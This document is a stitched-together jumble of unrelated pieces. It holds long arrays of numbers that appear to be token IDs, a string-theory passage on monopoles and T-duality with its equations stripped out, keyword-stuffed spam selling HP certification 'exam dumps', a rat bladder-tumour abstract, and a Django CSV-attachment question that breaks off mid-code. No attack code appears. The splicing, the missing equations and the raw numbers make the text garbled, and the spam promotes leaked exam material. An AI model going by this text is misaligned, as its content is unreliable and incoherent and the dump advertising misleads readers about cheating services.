253, 2629, 13386, 7982, 17430, 281, 247, 1220, 262, 5120, 2620, 19959, 15, 1623, 253, 643, 1133, 253, 209, 575, 2163, 412, 1306, 7982, 556, 642, 861, 273, 824, 3879, 15, 1359, 476, 841, 5441, 320, 30855, 4206, 342, 308, 14, 563, 1319, 32, 187, 187, 688, 436, 2593, 359, 588, 9059, 326, 841, 43884, 403, 11512, 407, 14586, 281, 253, 209, 575, 2163, 412, 1306, 2900, 275, 2876, 3762, 1955, 281, 7863, 2876, 25072, 10006, 15, 496, 1798, 13, 359, 588, 9059, 326, 253, 209, 575, 2163, 412, 1306, 556, 247, 3686, 273, 13386, 3879, 534, 651, 320, 39039, 407, 11715, 273, 2876, 25072, 10006, 275, 253, 1072, 1039, 326, 253, 388, 14, 2163, 412, 1306, 13386, 651, 320, 39039, 407, 253, 11715, 273, 2876, 10254, 3054, 15, 187, 187, 2512, 403, 2067, 4088, 281, 2096, 2139, 841, 10006, 403, 1774, 275, 253, 45966, 1306, 4114, 15, 3973, 13, 387, 253, 5161, 273, 253, 45966, 1306, 253, 9941, 273, 370, 89, 63, 22, 64, 14595, 7274, 5058, 15, 3308, 2822, 253, 253, 5161, 273, 253, 45966, 1306, 253, 2876, 25072, 10006, 2489, 29607, 1708, 285, 1364, 320, 2908, 275, 253, 8062, 15, 6347, 13, 432, 253, 370, 53, 2911, 34716, 1127, 273, 1859, 13, 359, 476, 18368, 11101, 3014, 253, 388, 14, 2163, 412, 1306, 2900, 407, 4028, 342, 285, 323, 370, 79, 393, 570, 470, 1352, 380, 209, 575, 2163, 412, 1306, 2900, 15877, 432, 9433, 253, 2629, 308, 14, 563, 1319, 9261, 5323, 281, 253, 7982, 285, 2367, 1179, 378, 724, 1673, 3413, 432, 669, 8616, 64, 17, 1352, 380, 669, 8616, 64, 79, 5, 476, 320, 1869, 273, 347, 253, 8946, 2193, 273, 253, 17345, 10254, 3054, 275, 253, 388, 14, 2163, 412, 1306, 4114, 15, 5838, 326, 597, 4979, 407, 247, 3408, 762, 247, 5333, 273, 370, 89, 63, 22, 578, 24728, 17, 724, 534, 310, 253, 5058, 4438, 12786, 13249, 323, 10234, 275, 253, 370, 89, 63, 22, 13879, 5, 1899, 273, 253, 608, 14, 19959, 15, 6166, 308, 14, 563, 1319, 13, 359, 651, 1902, 326, 627, 651, 320, 8946, 2193, 323, 253, 2876, 25072, 4910, 275, 253, 8746, 4114, 15, 3308, 762, 308, 14, 563, 1319, 359, 1902, 326, 275, 247, 4114, 342, 370, 89, 63, 22, 64, 14595, 1907, 9941, 370, 51, 426, 393, 1637, 8, 37860, 3582, 416, 724, 285, 253, 370, 89, 63, 22, 13879, 5, 3907, 4910, 1146, 1110, 273, 253, 17345, 45966, 1306, 13, 326, 627, 943, 320, 8946, 2193, 323, 253, 4910, 323, 247, 2876, 273, 25072, 370, 79, 5, 1677, 407, 835, 370, 89, 63, 22, 578, 24728, 17, 724, 310, 253, 12786, 13249, 323, 29971, 275, 253, 13249, 370, 89, 63, 22, 13879, 1352, 187, 187, 510, 2193, 209, 575, 1171, 253, 8946, 25072, 4910, 476, 320, 7192, 13, 387, 1878, 36143, 13, 275, 1264, 4088, 15, 5761, 4088, 403, 2876, 14, 783, 30325, 13, 253, 2626, 8687, 271, 3576, 1673, 3762, 15, 380, 806, 1039, 8687, 2876, 1673, 3762, 15, 844, 2743, 253, 209, 575, 2163, 412, 1306, 347, 247, 1798, 1375, 275, 253, 1511, 3719, 2876, 3762, 4270, 327, 253, 12124, 31502, 21, 393, 3181, 322, 63, 18, 64, 51, 50276, 61, 3181, 308, 63, 22, 1352, 1284, 824, 352, 1364, 320, 2529, 407, 247, 4972, 275, 253, 2317, 273, 3054, 669, 2775, 64, 17, 5, 273, 253, 29269, 1673, 3762, 2330, 281, 436, 12124, 15, 3308, 13, 253, 209, 575, 2163, 412, 1306, 1364, 320, 2529, 407, 247, 2876, 5149, 3701, 669, 8616, 578, 18717, 11326, 57, 1035, 2592, 9102, 187, 61, 249, 393, 2775, 64, 17, 1352, 1716, 2414, 600, 13, 253, 2193, 273, 253, 5149, 3701, 403, 2931, 407, 16344, 253, 1533, 20472, 1854, 9909, 327, 253, 7592, 970, 253, 209, 575, 11814, 669, 2592, 2911, 7645, 285, 23254, 7548, 2515, 370, 57, 1035, 2592, 13, 391, 30, 18, 10, 426, 1594, 1035, 2592, 3822, 1623 ]

substituting the above expression for ${\cal B}$ into the action. This leads to the coupling We can now see how the string excites the zero mode. For unwinding motions at constant $r$ such as, the $\theta$ and $\phi$ variations of the string couple via the magnetic field of the monopole to $\alpha$. For radial infall of the string which remains wrapped around the $S^1$, the ‘particle’ couples to $\alpha$ via the geometry. In each case, suppose $X^\phi$ and $X^5$ are given by (but $X^\theta, X^r$ are arbitrary), then we obtain the following Lagrangian for $\alpha$: For a string sitting initially at $\theta=0$ asymptotically far from the monopole, with ${\dot\alpha}$ consequently zero at the start of the motion, we see that the solution for ${\dot\alpha}$ is therefore Thus, either for the string which radially infalls, or for the string unwinding at infinity, the net result is that ${\dot\alpha}$ has increased by ${\kappa_4^2\over2\pi^2\alpha' R}$ once the string has disappeared. We can also consider a T-dual version of this process by performing a T-duality transformation along the $x^5$ direction thus working in a background where $x^5$ has periodicity $\tilde R = \alpha'/R$. This transformation maps the monopole into an H-monopole and a string with winding around $x^5$ into a string with momentum along $x^5$. The T-duality between the and H-monopole solutions will be discussed in more detail in the following section. The H-monopole solution takes the five-dimensional form where $\alpha, \beta, \cdots$ now run over $1,2,3,5$ and $\Phi$ is given by where $r = |\vec x|$ and $x^5_0$ is the location of the H-monopole along the $S^1$. Note in particular that the H-monopole is [*not*]{} invariant under $x^5$ translations, unlike the monopole. As a result its bosonic collective coordinates are given by translations in $^3$ as well as translation along the $S^1$. This implies that there is a zero mode carrying electric charge, as expected from T-duality. Since translation in $x^5$ is no longer a symmetry, there is no conservation law which forbids the decay of a string with momentum along $x^5$. However at large distance from the monopole this symmetry is approximately valid and thus we might expect a string with momentum at large distances from the monopole to be stable. We can, however, by analogy to the previous discussion write down a string trajectory which does remove the momentum of the string while keeping it infinitely far from from the monopole. The T-dual of the previous string trajectory is To an observer looking at the string near the north pole it appears that this configuration carries one unit of momentum in the $x^5$ direction. However the full expression for the momentum $p_5$ in the fifth direction is Far from the monopole the metric is approximately flat, but we must remember that it is necessary to use two different patches to describe the $B$ field which is the vector potential of a Dirac monopole. Thus to evaluate $p_5$ in the Southern hemisphere we must use the appropriate form of $B$ which leads to which does indeed vanish at the south pole. One way to think of this is as follows. In string theory we should distinguish between left and right-moving coordinates on $S^1$. In the monopole background a string wound around the geometrical coordinate $x^5_-= x^5_L - x^5_R $ can unwind because the $S^1$ is fibered non-trivially over the $S^2$ at infinity. The T-dual version has a string with momentum along the geometrical coordinate $x^5_+$ which is equivalent to a string with winding around the dual coordinate $x^5_-=x^5_L - x^5_R$. The patching of the $B$ field in the H-monopole is equivalent to saying that the global topology at infinity has $S^1$ with coordinate $x^5_-$ fibered over the $S^2$ at infinity. This illustrates the fact that [*both*]{} string coordinates $x^5_\pm$ play a non-trivial role in the full solution. An analysis similar to the previous one shows that electric charge is conserved in this process by an inflow of current from the string into the H-monopole and excitation of the zero mode carrying electric charge. T-duality of string theory is an exact discrete gauge symmetry of nonperturbative string theory. We may regard both the H-monopole and the monopole as particular excitations of the type II string vacua $^4 \times S^1_{\tilde R} \times T^5$ and $^4 \times S^1_R \times T^5$, respectively. Regarded as states in string field theory these two solutions must be identical. There are, however, a number of puzzling points about the relation between the two solutions as given here. Let us call the geometrical coordinate of $S^1_{\tilde R}$ $x^5_+$ and that of $S^1_R$ in the T-dual background $x^5_-$. The first puzzle is that the monopole appears to have an isometry while the H-monopole does not: The H-monopole solution is known to correspond to an exact conformal field theory and is thus an exact solution to string theory without any $\alpha'$ corrections. As noted in the previous section it is not invariant under translations in $x^5_+$. Thus it is not clear how to apply the standard rules for T-duality transformations in $x^5_+$ since these require the existence of a Killing vector field. On the other hand, the T-dual monopole does have a Killing vector given by translation in $x^5_-$ and is also supposed to be an exact solution of string theory since the metric is hyperkahler. The second puzzle is that the H-monopole exhibits a “throat” metric at small values of $\vec x$ and $x^5_+$. This is a reflection of the standard throat metric transverse to a solitonic fivebrane. On the other hand the monopole metric has no sign of such behavior. How can these facts be reconciled with T-duality? In this section we will argue that these puzzles are resolved by modifications to the monopole solution in string theory due to massive string winding modes. In particular, we will argue that the monopole has a sort of throat behavior which would be probed by scattering of string winding modes in the same way that the H-monopole throat would be probed by the scattering of string momentum states. There are several ways to understand why these modes are important in the monopole background. First, at the core of the monopole the radius of $x^5_-$ approaches zero. Thus near the the core of the monopole the string winding modes become arbitrarily light and must be included in the dynamics. Second, from the $T$-dual point of view, we can Fourier decompose the H-monopole solution by writing with and for $n \ne 0$. The monopole solution arises from applying the standard T-duality transformation laws to the metric and ${\cal B}$ field determined from $\Psi_0$. The $\Psi_n$ can be thought of as the classical values of the momentum states in the H-monopole background. Note that they transform by a phase under a shift of $x^5_{+,0}$ which is the zero mode collective coordinate for translation in the $x^5_+$ position of the 5-brane. Under T-duality, we would expect that there would be classical values for the string winding fields in the dual background. Thus under T-duality we expect that in a background with $x^5_-$ having radius $R = \alpha'/{\tilde R}$ and the $x^5_+$ independent fields being those of the monopole, that there should be classical values for the fields for a string of winding $n$ given by where $x^5_{+,0}$ is the collective coordinate for translations in the coordinate $x^5_+$. The values of the classical winding fields can be understood, at least qualitatively, in three ways. Two ways are string-theoretic, the third involves an effective field theory. The first way involves string field theory. We regard the monopole as a particular state in the type II string theory built on the vacuum $^4 \times S^1_R \times T^5$. As such it must be described by a vector in the space of states $\CH_0$ of the conformal field theory associated to this vacuum. Thus, the monopole must be described by a string wavefunction $\Psi_{KK}[X(\sigma)] \in \CH_0$. Concretely, the values of the wavefunction are defined by evaluating the worldsheet path integral on the disk using the background $\sigma$-model and imposing boundary conditions $X(\sigma, r=1) = X(\sigma)$. On

[ 14, 53, 1630, 3533, 403, 2130, 760, 327, 19937, 6787, 4476, 76, 15, 681, 13, 534, 403, 2104, 281, 1361, 347, 1142, 347, 12440, 326, 403, 6110, 275, 4933, 731, 824, 3686, 273, 19517, 388, 3246, 19, 14, 53, 1630, 1889, 312, 399, 10628, 342, 3426, 9008, 15, 5595, 273, 253, 2069, 13, 19517, 388, 3246, 19, 14, 53, 1630, 1174, 476, 320, 9716, 275, 253, 33907, 273, 388, 3246, 19, 14, 53, 1630, 19036, 17724, 285, 436, 310, 253, 1921, 2139, 352, 434, 1805, 281, 2619, 253, 19517, 388, 3246, 19, 14, 53, 1630, 1071, 3533, 187, 187, 12161, 19517, 388, 3246, 19, 14, 53, 1630, 6004, 342, 388, 3246, 19, 14, 53, 1630, 6004, 399, 10628, 187, 187, 1394, 588, 1089, 594, 247, 1180, 273, 253, 19517, 27371, 326, 3839, 326, 1053, 626, 25301, 342, 253, 7219, 273, 436, 19517, 388, 3246, 19, 14, 53, 1630, 1071, 342, 34095, 388, 3246, 19, 14, 53, 1630, 657, 4339, 277, 10628, 326, 812, 2686, 2818, 4645, 598, 323, 253, 388, 3246, 5619, 9751, 29248, 21612, 1071, 1077, 8069, 15, 1422, 12758, 281, 1611, 285, 13249, 342, 441, 347, 359, 476, 10073, 776, 8548, 281, 8722, 616, 2180, 1682, 388, 3246, 19, 14, 53, 1630, 23208, 6004, 13, 594, 23476, 326, 352, 476, 320, 1663, 9371, 323, 731, 281, 1691, 2366, 323, 19517, 388, 3246, 19, 14, 53, 1630, 21612, 1071, 15, 187, 187, 3251, 39796, 273, 19517, 388, 3246, 19, 14, 53, 1630, 12963, 527, 10628, 2064, 10338, 17814, 10540, 733, 187, 187, 4041, 273, 253, 7445, 5373, 670, 441, 310, 326, 359, 6186, 19517, 13126, 19937, 1245, 388, 3246, 19, 14, 53, 1630, 1174, 277, 10628, 323, 776, 8548, 13, 594, 326, 352, 476, 320, 1663, 1077, 3477, 323, 731, 281, 1056, 323, 19517, 388, 3246, 19, 14, 53, 1630, 21612, 1174, 342, 253, 1361, 273, 776, 388, 3246, 19, 14, 53, 1630, 3946, 1174, 3533, 359, 751, 281, 2085, 323, 731, 15, 1723, 13, 597, 476, 4489, 776, 3694, 671, 755, 19517, 388, 3246, 19, 14, 53, 1630, 6004, 399, 10628, 13, 594, 352, 476, 320, 9371, 323, 731, 281, 10347, 281, 755, 19517, 388, 3246, 19, 14, 53, 1630, 388, 3246, 19, 14, 53, 1630, 3946, 1071, 3694, 15, 187, 187, 41, 3246, 19, 14, 59, 1839, 187, 187, 1231, 1472, 4933, 247, 2257, 273, 10418, 318, 5001, 388, 3246, 19, 14, 59, 1839, 21612, 1174, 5043, 432, 534, 8017, 305, 40756, 403, 2104, 3157, 616, 6789, 281, 253, 1098, 980, 273, 4780, 275, 388, 3246, 19, 14, 59, 1839, 747, 3533, 285, 9172, 15, 19517, 40900, 11147, 42473, 388, 3246, 9107, 14, 7769, 32492, 1071, 3533, 21270, 5907, 407, 19937, 6787, 4476, 76, 15, 681, 285, 352, 310, 1077, 24400, 323, 388, 3246, 19, 14, 59, 1839, 1071, 3533, 5907, 407, 19937, 6787, 4476, 76, 15, 681, 15, 187, 187, 2374, 253, 745, 4839, 326, 368, 403, 629, 273, 271, 8017, 1754, 17273, 13, 840, 368, 403, 7032, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1174, 15, 1284, 247, 906, 13, 5001, 1509, 388, 3246, 19, 14, 59, 1839, 1174, 352, 310, 12014, 5667, 281, 990, 2970, 4704, 323, 253, 388, 3246, 19, 14, 59, 1839, 31697, 277, 10628, 13, 2010, 352, 778, 990, 598, 22293, 20276, 323, 3484, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1071, 387, 806, 1611, 15, 187, 187, 12864, 253, 1682, 3909, 388, 3246, 19, 14, 59, 1839, 277, 10628, 187, 187, 1147, 434, 1774, 281, 7703, 562, 247, 4623, 6003, 534, 310, 4933, 3302, 2281, 19517, 40900, 11147, 388, 3246, 19, 14, 59, 1839, 1174, 277, 10628, 715, 253, 7219, 273, 388, 3246, 19, 14, 59, 1839, 1174, 13, 347, 9008, 310, 12232, 1078, 4645, 598, 281, 253, 1390, 13, 954, 30417, 1071, 273, 388, 3246, 19, 14, 59, 1839, 2112, 1110, 3104, 15, 1707, 403, 247, 2257, 273, 8889, 326, 403, 4933, 388, 3246, 19, 14, 59, 1839, 6513, 527, 10628, 3533, 2299, 359, 403, 4933, 3962, 6513, 527, 10628, 3533, 323, 388, 3246, 19, 14, 59, 1839, 1071, 407, 534, 368, 403, 2104, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1071, 5907, 407, 776, 5882, 275, 8523, 19072, 25755, 15, 187, 187, 3633, 388, 3246, 19, 14, 59, 1839, 31697, 277, 10628, 1677, 407, 19937, 6787, 4476, 76, 15, 681, 285, 4264, 5373, 273, 23082, 387, 806, 11931, 273, 388, 3246, 19, 14, 59, 1839, 3733, 2144, 15, 844, 403, 8133, 6593, 9008, 5382, 323, 388, 3246, 19, 14, 59, 1839, 277, 10628, 275, 247, 1199, 14, 676, 2122, 2105, 285, 368, 403, 2104, 281, 755, 11528, 6142, 366, 432, 776, 388, 3246, 19, 14, 59, 1839, 3533, 285, 9172, 15, 1422, 1472, 4704, 281, 22773, 387, 776, 3565, 3909, 5147, 323, 42473, 388, 3246, 9107, 14, 7769, 32492, 1174, 285, 3609, 1463, 3533, 323, 388, 3246, 19, 14, 59, 1839, 3946, 1174, 15, 7198, 763, 3884, 588, 320, 11941, 281, 247, 5268, 323, 388, 3246, 19, 14, 59, 1839, 1174, 285, 2168, 368, 403, 9995, 670, 253, 2332, 4957, 2908, 275, 776, 388, 3246, 19, 14, 59, 1839, 3410, 3533, 387, 253, 673, 368, 452, 253, 3745, 281, 5115, 275, 388, 3246, 19, 14, 59, 1839, 1071, 15, 2058, 253, 24555, 5438, 273, 11280, 388, 3246, 19, 14, 59, 1839, 3946, 1174, 432, 776, 19517, 40900, 11147, 388, 3246, 19, 14, 59, 1839, 3733, 2144, 15, 187, 187, 2512, 434, 39637, 2996, 3668, 323, 3484, 665, 971, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1174, 13, 326, 359, 1472, 5277, 13828, 388, 3246, 19, 14, 59, 1839, 6513, 527, 10628, 3533, 342, 2233, 6, 7942, 896, 12215, 13, 275, 1083, 368, 1472, 10268, 667, 2523, 670, 19517, 40900, 11147, 388, 3246, 19, 14, 59, 1839, 1071, 840, 368, 1833, 320, 18107, 407, 776, 6485, 1387, 534, 310, 12482, 1475, 253, 8886, 15, 32954, 18676, 4502, 9953, 13, 18634, 13, 285, 4918, 15, 187, 510, 2440, 273, 5893, 18676, 4502, 3210, 347, 247, 2561, 4968, 323, 1027, 10006, 273, 4918, 556, 644, 7561, 6760, 15, 17746, 841, 8837, 452, 2057, 31321, 8228, 390, 452, 644, 46695, 275, 275, 29252, 8709, 15, 2071, 14630, 8837, 452, 671, 644, 34663, 4197, 407, 427, 21375, 21, 8422, 22, 14, 79, 4905, 14, 19, 14, 37323, 1190, 4587, 19, 14, 394, 13306, 311, 1190, 62, 830, 15320, 313, 39, 1539, 5518, 10, 672, 32939, 11966, 689, 247, 1048, 2180, 273, 673, 15, 733, 556, 644, 2007, 2361, 326, 841, 8837, 452, 644, 14481, 407, 2710, 13215, 32991, 15, 380, 11659, 273, 271, 5661, 18676, 4502, 1566, 6131, 271, 5107, 281, 7472, 253, 12510, 273, 247, 15588, 1971, 15, 496, 776, 2175, 401, 1539, 5518, 369, 4879, 281, 4711, 760, 432, 5922, 281, 3387, 6, 18676, 8837, 275, 2067, 4679, 275, 271, 275, 29252, 7372, 273, 7600, 5196, 689, 2067, 1107, 15, 2719, 2466, 20109, 11286, 1430, 273, 841, 8837, 369, 417, 2837, 494, 275, 253, 1072, 275, 29252, 7372, 15, 496, 1635, 13, 1971, 342, 4784, 22867, 330, 271, 271, 3576, 3554, 41489, 5570, 369, 417, 21759, 275, 629, 13, 1580, 3294, 1598, 253, 7155, 273, 1453, 18676, 4502, 3116, 369, 1698, 15, 2053, 4342, 273, 247, 1264, 14, 2913, 1263, 943, 320, 9257, 2783, 672, 16344, 12645, 323, 3382, 29398, 13215, 1754, 327, 1543, 2797, 342, 401, 1539, 5518, 15, 50, 27, 187, 187, 2347, 513, 309, 2794, 247, 45584, 1873, 432, 247, 1566, 708, 840, 823, 352, 347, 271, 4579, 14170, 32, 187, 187, 42, 1353, 2820, 281, 6635, 247, 45584, 432, 271, 1789, 7141, 275, 619, 5447, 285, 840, 823, 253, 43153, 281, 271, 4579, 347, 271, 14170, 15, 209, 187, 42, 1353, 970, 42125, 337, 15, 24, 708, 13814, 374, 15, 24, 15, 187, 42, 1353, 2970, 436, 2228, 342, 253, 1563, 2127, 27, 346, 11756, 4756, 27, 38745, 25265, 15, 16360, 8, 1789, 556, 642, 11104, 686, 25950, 21288, 187, 4943, 434, 619, 2127, 27, 187, 1545, 13474, 64, 284, 64, 25265, 9, 16223, 13, 4910, 13, 3490, 64, 15069, 2262, 187, 50273, 3845, 346, 15035, 281, 43153, 3053, 3, 187, 50273, 32488, 187, 50274, 25114, 43153, 13474, 14991, 2250, 15, 187, 50274, 3169, 327, 3944, 1358, 45061, 606, 375, 79, 46588, 15, 2061, 16, 11489, 46588, 16, 14952, 16, 187, 50274, 43315, 323, 1146, 2104, 281, 1918, 1618, 64, 8412, 347, 4910, 285, 789, 342, 50273, 15787, 14, 7769, 3470, 187, 50274, 32488, 187, 50274, 28330, 426, 1304, 187, 50274, 338, 417, 3490, 64, 15069, 27, 187, 50270, 3423, 64, 7886, 426, 873, 8850, 3423, 15, 1590, 323, 1673, 275, 32659, 15, 15069, 3291, 187, 50270, 338, 4910, 27, 187, 50270, 3423, 1178, 426, 873, 9, 15069, 10, 187, 50266, 3423, 64, 7886, 426, 1673, 64, 7886, 708, 1673, 1178, 187, 50274, 44779, 4910, 27, 187, 50270, 3423, 64, 7886, 426, 873, 9, 15069, 10, 187, 50274, 7271, 27, 187, 50270, 22525, 1587, 7872, 3490, 64, 15069, 476, 760, 320, 908, 275, 7529, 342, 4500, 4910, 2807, 535, 50274, 16360, 426, 43153, 15, 16360, 9, 5758, 1587, 2577, 3140, 15, 25265, 6624, 88, 8375, 38352, 2562, 30, 1383, 1383, 17056, 30, 25265, 15, 8846, 30948, 64, 5626, 10, 535, 50274, 16360, 15, 16360, 319, 9, 3550, 9, 3423, 64, 7886, 1228, 187, 50274, 736, 426, 8168, 187, 50274, 1542, 1673, 275, 1673, 64, 7886, 27, 187, 50270, 14626, 27, 187, 50270, 736, 15, 9691, 9, 44054, 9, 788, 9573, 9, 16223, 13, 1673, 5029, 25950, 2073, 17880, 14, 25, 19279, 187, 50270, 16829, 42090, 4756, 27, 187, 50266, 736, 15, 9691, 9, 44054, 4464, 788, 9573, 9, 16223, 13, 1673, 2769, 16223, 43075, 25950, 2073, 17880, 14, 25, 19279, 187, 50270, 16829, 27, 187, 50266, 22525, 187, 50274, 16360, 15, 16360, 319, 9, 736, 10, 535, 50274, 10927, 426, 8406, 187, 50274, 2309, 2380, 187, 187, 510, 2127, 2708, 6548, 253, 1840, 1159, 434, 3453, 347, 247, 4764, 275, 8888, 15, 38729, 5023, 187, 510, 1304, 4764, 310, 619, 16025, 1566, 16, 6082, 326, 434, 3562, 708, 9809, 1078, 667, 273, 436, 2127, 310, 1925, 15, 187, 3550, 64, 8412, 426, 12196, 21423, 64, 301, 1383, 686, 22337, 64, 2754, 1383, 686, 16223, 64, 3281, 1383, 10, 187, 5719, 426, 21726, 7474, 2073, 17835, 20772, 1383, 686, 17835, 18456, 1383, 8256, 13, 14412, 11667, 33, 11667, 15, 681, 23405, 187, 5719, 15, 38729, 1587, 16223, 15, 25265, 995, 13474, 64, 284, 64, 25265, 9, 16223, 13, 4910, 426, 1618, 64, 8412, 13, 3490, 64, 15069, 30, 5088, 10, 1157, 346, 1156, 16, 25265, 2807, 187, 5719, 15, 13161, 1082, 187, 187, 4943, 434, 253, 1566, 323, 247, 10840, 1082, 1789, 27, 187, 2437, 10840, 9, 19286, 15, 7104, 2262, 187, 50274, 21423, 64, 301, 426, 3210, 15, 16467, 6180, 2073, 27967, 10030, 1383, 3625, 64, 2364, 426, 11793, 13, 4284, 30, 17, 10, 2490, 50274, 22337, 64, 2754, 426, 3210, 15, 24151, 6180, 2073, 32331, 3522, 1383, 4284, 30, 2606, 13634, 15, 2666, 10, 187, 50274, 16223, 64, 3281, 426, 3210, 15, 16467, 6180, 2073, 20684, 19662, 1383, 4284, 30, 17, 10, 2490, 187, 6693, 1361, 310, 10260, 14109, 15, 50276, 187, 4943, 434, 849, 309, 34243, 971, 436, 2127, 281, 789, 27, 13474, 64, 284, 64, 25265, 1082, 6548, 247, 45584, 1789, 326, 309, 1053, 626, 878, 281, 5321, 347, 247, 1873, 390, 275, 619, 5447, 428, 840, 253, 2127, 863, 3844, 326, 281, 253, 4579, 3587, 432, 247, 45584, 1789, 275, 3541, 13, 417, 247, 9809, 1873, 15, 50276, 3650, 2119, 604, 436, 310, 1896, 13, 533, 326, 434, 7445, 323, 619, 3198, 15, 187, 187, 34, 27, 187, 187, 25265, 16360, 476, 3630, 281, 667, 1789, 342, 247, 3630, 1082, 1332, 13, 2556, 281, 253, 27586, 15, 380, 7312, 13814, 966, 281, 897, 672, 368, 971, 271, 275, 14, 20704, 1873, 3022, 1789, 310, 247, 4605, 6527, 4227, 13, 390, 260, 2776, 6527, 604, 368, 1472, 2119, 368, 1912, 626, 320, 4028, 39879, 5113, 281, 352, 15, 1893, 634, 13474, 64, 936, 64, 25265, 1159, 943, 1007, 1633, 751, 27, 187, 2948, 260, 2776, 6527, 187, 187, 1545, 13474, 64, 284, 64, 25265, 9, 16223, 13, 4910, 13, 3490, 64, 15069, 2262, 187, 50274, 4, 4853, 1673, 64, 7886, 347, 1840, 13, 7384, 634, 26234, 318, 310, 3451, 187, 50274, 25265, 64, 11023, 426, 260, 2776, 6527, 15, 2776, 6527, 1082, 50270, 187, 50274, 16360, 426, 43153, 15 ]

-T27 questions are available only on CertificationsDesk.com, which are able to help as many as professionals that are interested in giving them such sort of HP HPE2-T27 Exam Dumps with complete preparation. Most of the times, HP HPE2-T27 exam can be purchased in the formatting of HPE2-T27 Training Material and this is the reason why it's better to pick the HP HPE2-T27 test questions Pass HP HPE2-T27 Test with HPE2-T27 Test Dumps You will find so a number of the HP specialists that generally that don't commence with the planning of this HP HPE2-T27 test with splendid HPE2-T27 VCE dumps that could actually affect showing up for the HPE Synergy Solutions certification test very effectively. You ought to try and coordinate with us as we can assist our clients to manage their period best HPE2-T27 Practice Test, so finest that it can be really helpful for them to put together for HP HPE2-T27 certification test. Secrets of HP HPE2-T27 Braindumps That Make Everyone Love It One of the ideal benefits about us is that we supply HP Product Certified HPE2-T27 exam dumps for our clients, so that it can be really very easy for them to make for HP HPE2-T27 certification exam with the help of our HPE2-T27 practice exam questions we like to provide for them. However, they can buy our software also get HP HPE2-T27 Test Dumps, so it can be helpful for them to prepare to get HP HPE2-T27 HPE2-T27 practice test software. HPE2-Z38 We're giving a lot of affirmation regarding HPE2-Z38 certification exam plus from which IT gurus are able improve their calling to the statures of progress in HPE2-Z38 new questions and answers. HP ExpertONE Creating HPE Software-defined Networks test questions prevalent offered by CertificationsDesk.com and it is very advantageous for HPE2-Z38 test questions offered by CertificationsDesk.com. On the off chance that you are part of an IT based Organization, then you are capable to pass HPE2-Z38 exam. As a result, regarding pass HPE2-Z38 exam it is similarly essential to end getting ready for the HPE2-Z38 pdf dumps, else it may end up markedly problematic for students to pass HPE2-Z38 test at first try. Take the best online HPE2-Z38 dumps It's important to seek out a relevant organization which is giving initial rate HP ExpertONE HPE2-Z38 exam dumps into the planning of HPE2-Z38 exam, as preparation is vital before showing up to the last, most decisive test of HPE2-Z38 along those lines. There are a lot of organizations that are giving HPE2-Z38 braindumps questions however we are giving perfect braindumps questions for HPE2-Z38 test by which you are able to pass HPE2-Z38 test offered by our firm in initially endeavour. Get HPE2-Z38 pdf dumps given by CertificationsDesk.com and enjoy benefits of reductions at first acquisition of HPE2-Z38 training material. We are putting forth preparation item for HPE2-Z38 dumps in a much-lowered cost and you are able to get profit rebate from our HPE2-Z38 questions and answers. You're ready to enroll at our official online platform for Creating HPE Software-defined Networks exam and select proper questions for HPE2-Z38 practice exam. Finish direction will be awarded to a client for HPE2-Z38 exam and already you are glad about the trial items included in our HPE2-Z38 sample questions at the time you have the ability to achieve in HPE2-Z38 test. At the supreme selection of buying HPE2-Z38 practice exam from our HP ExpertONE HPE2-Z38 training material. There's inspiriting news for students who want to pass HPE2-Z38 exam, that we're providing preparing HPE2-Z38 braindumps questions with 100% cash back guarantee, in case you're facing any issue about HP ExpertONE HPE2-Z38 test then you'll be guided by our expert group which is accessible around the clock.Experimental bladder tumor induction, propagation, and therapy. The development of animal bladder tumor models as a research tool for different modes of therapy has been widely evaluated. Recently these tumors have either spontaneously grown or have been propagated in inbred strains. Bladder tumors have also been chemically produced by N-[4-(5-nitro-2-furyl)-2-thiazolyl] formamide (FANFT) when orally administered over a long period of time. It has been further reported that these tumors have been inhibited by various chemotherapy regimens. The availability of an experimental bladder tumor model offers an opportunity to evaluate the effectiveness of a prescribed treatment. In our studies FANFT was noted to produce only from 33 to 40% bladder tumors in several experiments in an inbred strain of rats conducted over several years. Reproducible transplantability of these tumors was not demonstrable in the same inbred strain. In addition, treatment with mitomycin C an an effective chemotherapeutic agent was not detectable in part, since comparably the percentage of control bladder tumor growth was low. These findings of a three-year study should be carefully considered when evaluating recommendations for clinical adjuvant chemotherapy based on results obtained with FANFT.Q: How do I create a CSV file from a model & then add it as an email attachment? I'm trying to generate a CSV from an object stored in my database and then add the csv to an email as an attachment. I'm using Django 1.7 & Python 2.7. I'm getting this error with the following code: "AttributeError: '_csv.writer' object has no attribute 'encode'" Here's my code: def export_as_csv(report, fields, force_fields): print "export to csv started" """ Generic csv export admin action. based on http://djangosnippets.org/snippets/2020/ extended for being able to give list_display as fields and work with admin-defined functions """ opts = report if not force_fields: field_names = set([field.name for field in opts.fields]) if fields: fieldset = set(fields) field_names = field_names & fieldset elif fields: field_names = set(fields) else: raise("option force_fields can only be used in parallel with option fields") writer = csv.writer(open("myfile.csv","w"), delimiter=',',quoting=csv.QUOTE_ALL) writer.writerow(list(field_names)) row = [] for field in field_names: try: row.append(unicode(getattr(report, field)).encode('utf-8')) except AttributeError: row.append(unicode((getattr(report, field)(report))).encode('utf-8')) except: raise writer.writerow(row) response = writer return response The code below returns the above function's output as a parameter in mail.attach(). The report parameter is my DB model/object that's created & saved before any of this code is called. list_display = ('primary_id', 'created_date','report_size',) mail = EmailMessage('Email Subject', 'Email Body', None, ['example@example.com']) mail.attach("report.csv", export_as_csv(report, fields = list_display, force_fields=True), "text/csv") mail.send() Here's the model for a Report() object: class Report(models.Model): primary_id = models.IntegerField('Primary Key', primary_key = True, default=0) created_date = models.DateTimeField('Created date', default=timezone.now) report_size = models.IntegerField('Report Size', default=0) Any help is greatly appreciated. Here's how I ideally want this code to work: export_as_csv() returns a CSV object that I don't need to save as a file or in my database - then the code attaches that to the email directly from a CSV object in memory, not a saved file. Not sure if this is possible, but that's ideal for my needs. A: csvwriter can write to any object with a write() method, according to the docs. The usual Python class to use when you want an in-memory filelike object is a StringIO instance, or cStringIO if you're sure you won't be writing Unicode objects to it. So your export_to_csv function should look something like: import cStringIO def export_as_csv(report, fields, force_fields): # define field_names as above, assuming your indentation is correct csv_buffer = cStringIO.StringIO() writer = csv.

